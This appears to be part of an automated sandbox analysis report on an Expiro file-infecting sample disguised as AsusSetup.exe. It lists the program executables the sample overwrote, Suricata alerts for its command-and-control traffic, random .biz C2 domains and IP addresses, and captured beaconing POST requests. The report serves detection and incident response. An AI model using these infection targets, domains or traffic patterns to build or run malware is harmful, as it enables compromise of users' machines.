Source:	Binary string: default-browser-agent.pdb source: alg.exe, 00000003.00000003.2739562117.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: updater.pdb source: alg.exe, 00000003.00000003.2917096647.00000000004A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: alg.exe, 00000003.00000003.2513914889.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: alg.exe, 00000003.00000003.2411283042.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb source: javaw.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: alg.exe, 00000003.00000003.2385765536.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: alg.exe, 00000003.00000003.2513914889.00000000016C0000.00000004.00001000.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\msdtc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.5:64098 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.5:49709 -> 44.221.84.105:80
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.5:62067 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.5:50012 -> 18.246.231.120:80
Source: Network traffic	Suricata IDS: 2051651 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (eufxebus .biz) : 192.168.2.5:53826 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051654 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (cikivjto .biz) : 192.168.2.5:55131 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.5:50068 -> 18.208.156.248:80
Source: Network traffic	Suricata IDS: 2051653 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (htwqzczce .biz) : 192.168.2.5:53034 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051650 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (kcyvxytog .biz) : 192.168.2.5:58235 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.5:61825 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.5:53017 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051652 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (napws .biz) : 192.168.2.5:60710 -> 1.1.1.1:53

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: unknown

Network traffic detected: DNS query count 128

Source: global traffic

DNS traffic detected: number of DNS queries: 128

Source: Joe Sandbox View	IP Address: 165.160.15.20 165.160.15.20
Source: Joe Sandbox View	IP Address: 3.254.94.185 3.254.94.185

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.5:49711
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.5:49919
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.5:49919
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.5:49930
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.5:49930
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.5:49975
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.5:49975
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.246.200.160:80 -> 192.168.2.5:49966
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.246.200.160:80 -> 192.168.2.5:49966
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.246.231.120:80 -> 192.168.2.5:50012
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.246.231.120:80 -> 192.168.2.5:50012
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.211.97.45:80 -> 192.168.2.5:50006
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.211.97.45:80 -> 192.168.2.5:50006
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.5:50002
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 35.164.78.200:80 -> 192.168.2.5:50002
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.254.94.185:80 -> 192.168.2.5:50023
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.254.94.185:80 -> 192.168.2.5:50023
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.5:50003
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.5:50003

Source: global traffic	HTTP traffic detected: POST /ea HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /juldvutdr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /w HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /flh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /nxfilvvdujkp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
